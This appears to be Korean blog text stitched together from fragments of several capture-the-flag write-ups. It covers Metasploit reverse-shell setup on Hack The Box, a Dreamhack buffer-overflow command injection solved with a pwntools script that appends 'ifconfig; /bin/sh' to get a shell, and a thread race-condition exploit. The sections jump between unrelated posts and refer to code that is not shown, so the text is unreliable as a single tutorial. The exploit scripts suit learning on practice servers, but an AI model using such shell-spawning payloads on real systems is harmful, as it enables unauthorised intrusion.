Hack The Box는 VPN 연결 후 생기는 tun0 인터페이스를 통해 공격/응답을 주고 받는다.
따라서 ifconfig로 확인한 리눅스 IP는 리버스쉘을 받을 수 없는 상태로, 오류가 발생한다
해결 방법
# 리눅스에서 VPN 연결된 IP 확인
ip a | grep tun0
# LHOST 재설정
set LHOST [vpn ip]
[오류 2] Netcat 포트 점유 오류
[사진 14,15] 포트 충돌로 인한 오류 출력
nc -lvnp [포트번호] 명령어 실행 시 Netcat 리스너가 포트를 미리 점유하고 있어 메타스플로잇과 충돌하는 현상으로,
다른 터미널 창에서 작동하고 있는 Netcat을 닫고 메타스플로잇만 돌려서 오류를 해결하였다.
2-2-2-5. msfconsole에서 run 명령어 실행
[사진 16] 정상 작동하는 메타스플로잇과 초기 권한 획득 성공
취약점이 작동해서 타겟 컴퓨터가 공격자 쪽으로 쉥릉 보내면, 메타스플로잇에서 Session이 열렸다고 신호를 준다.
2-2-2-6. 현재 쉘 세션에 진입
# 현재 연결된 쉘 세션 확인
sessions
# ID 1번 세션으로 진입
sessions -i 1
[사진 17] sessions 입력 후 출력 결과
메타스플로잇이 돌아가고 있는 터미널은 그대로 두고, 새 터미널 창을 열어 msfconsole로 들어가 세션 1번으로 진입한다.
성공 시 타깃 컴퓨터의 쉘에서 초기 권한을 획득했단 의미며, 여기서 원하는 명령어를 실행할 수 있는데, 다음과 같이 나온다.
이번에 풀 문제는 버퍼 오버플로우(Buffer Overflow) 관련된 것으로, 입력받는 값이 버퍼를 가득 채워버려서 버퍼 이후의 공간까지 침범한 후 원하는 명령어로 조작하거나 다른 정보도 확인할 수도 있는 취약점이다. 일단 난 못알아먹을 거 같으니 좀 간단히라도 써보려고 한다.
이 부분을 간단하게 설명해보자면, cmd_ip의 처음 8바이트가 ifconfig이기만 하면 시스템 명령어를 실행한다는 소리다. 물론 난 간단하게 설명해줘도 이해가 안가니 명령어를 하나씩 설명해보겠다.
strcmp(cmd_ip, "ifconfig", 8) : cmd_ip의 앞의 8자리가 ifconfig라면 참이므로 0을 반환할건데, 반대로 8자리보다 길면 1, 적으면 -1을 반환할 거란 소리다.
! : 논리부정연산자로 !0이라면 네가 8자리가 ifconfig니까 0을 반환한 건 인정했는데 결과만 뒤집어서 1을 반환한다는 얘기다. 반대로 !1이면 그대로 꺼버리겠단 소리
참고로 c언어에서 0은 false, 1은 true라는 의미다. 마지막은 표에 정리해둔다.
결국 같은 표현이지만 컴퓨터가 알아먹은 걸로 설명하자면 이거다.
난 네가 쓴 문자열 cmd_ip가 앞에 8자리가 ifconfig면 0을 반환해줄게
근데 난 1을 true라고 여기니까 논리부정연산자로 결과를 뒤집을 거야
만약 1이면 cmd_ip에 적힌 걸 system 명령어로 실행할 거야
strcmp(a,b) 문자열 비교 시 반환값
논리 부정 연산자 !
둘이 같을 경우
0
1 (true)
a가 b보다 큰 문자열일 경우
1
0 (false)
a보다 b가 큰 문자열일 경우
-1
0 (false)
3. 그래서 어떻게 익스플로잇 할 것인가?
밀려들어간 사람들 중 바이러스 감염자를 만들기 위한 작업으로, read에겐 100바이트와 함께 명령어 쉘을 실행시킬 거다.
from pwn import *
p = remote('host1.dreamhack.games', 16386)
p.recvuntil(b'Center name: ') # 여기서 정확히 프롬프트를 받도록 기다려준다.
payload = b'A'*0x20 + b'ifconfig; /bin/sh' # 기존 payload 확인
p.sendline(payload) # sendline만 사용
p.interactive()
b'A'0x20 : cmd_ip 영역의 일부가 덮어씌워진 상항에서 쓰레기 값이 섞여있을 가능성이 높으므로 이 배열의 앞부분 32바이트 정도를 A로 채워주면서 이전 데이터를 정리한다.
ifconfig; /bin/sh : A 뒤에 입력한 명령어로, ifconfig가 끝나면 뒤에 명령어 쉘을 실행한다 = system(cmd_ip) 동작
만약 A로 정리 안해두고 그냥 명령어를 입력하게 되면 배열은 이렇게 되어있어서 명령어가 꼬이거나 실행 안될 수도 있다. "adjlakjflajfljaldjfljflkkldffifconfig; /bin/sh "
4. 실습 영상
동영상 서비스가 종료되어 해당 콘텐츠를 재생할 수 없습니다.
5. [번외] 코드 오류가 생길 경우
[사진2,3] 오류가 생긴 코드와 출력 결과
원래는 sendlineafter를 사용했는데 입력을 기다리는 과정에서 예상한 문자열이 제대로 출력되지 않았는지 오류가 계속 발생했다.지금 같은 오류가 출력되는 경우 아까 4번에 적어둔 코드처럼 recvuntil을 쓰면 원하는 문자열이 나올 때까지 기다릴 수 있어서, 입력 타이밍이 어긋나는 문제를 해결할 수 있다.
start_routine : 새로운 스레드가 생성되었을 때 실행할 무언가. >> 어떤 동작이 있을 거라고 생각할 수 있다.
3-4. start_routine
[사진11] start_routine 동작 코드
예상대로 start_routine에는 스레드가 생성될 때 실행할 무언가가 맞았다. 이 부분에선 qword_4038 즉, 사용자 입력값이 3735928559LL이 아닐 경우, 0xAu(10초)동안 스레드를 재운 후 qword_4030(인증받아야 하는 변수)에 사용자 입력값을 복사한다는 의미다, 쉽게 얘기해서 스레드를 재울 때 값을 입력한 후, 스레드가 일어나면 인증받아야 할 변수에 이 값을 복사한다는 거다.
복잡하면 걍 이렇게 생각하자. 스레드 = 자동차 / sleep = 정지
자동차가 쌩 달리고 있는데 갑자기 10초동안 정지하라고 한다
원래 있던 4030운전석에 4038(사용자 입력값)이 앉는다 (GTA??)
자동차는 10초 후 운전자가 누군지도 모르고 그대로 쌩 달린다.
3-5. 4038이 4030에 앉으려면?
[사진12] chall을 실행한 결과
스레드가 잠들어있는 동안 값을 조작해서 스레드가 일어나면 원하는 값으로 설정되게끔 파이썬 스크립트를 작성해야한다. 스크립트의 내용을 간략하게 설명하면 다음과 같다.
2번 Start thread에서 스레드를 생성한다. (여기서 start_routine이 동작하면서 스레드가 잠든다)
스레드가 잠들었을 때 1번 Input value에서 사용자 입력값에 3735928559를 입력해둔다,
스레드가 일어날 때까지 10초간 기다리면 자동으로 4038(사용자 입력값)은 4030에 복사된다.
이 때 3번Get Flag로 플래그를 출력하면 값을 얻을 수 있다.
from pwn import * # Pwntools 라이브러리 불러오기
import time
p = remote('host1.dreamhack.games', 16246) # DreamHack 서버의 포트번호 16246에 연결
p.sendlineafter(b'Input: ', b'2') # 2번(스레드 생성)
p.sendlineafter(b'Input: ', b'1') # 1번(값 입력)
p.sendlineafter(b'Input: ', b'3735928559') # 3735928559 = 0xDEADBEEF
time.sleep(10) # 10초 대기 (스레드가 sleep(10) 중이므로)
p.sendlineafter(b'Input: ', b'3') # 3번(플래그 출력)
flag = p.recvline().decode()
print(f'Flag: {flag}') # 플래그 출력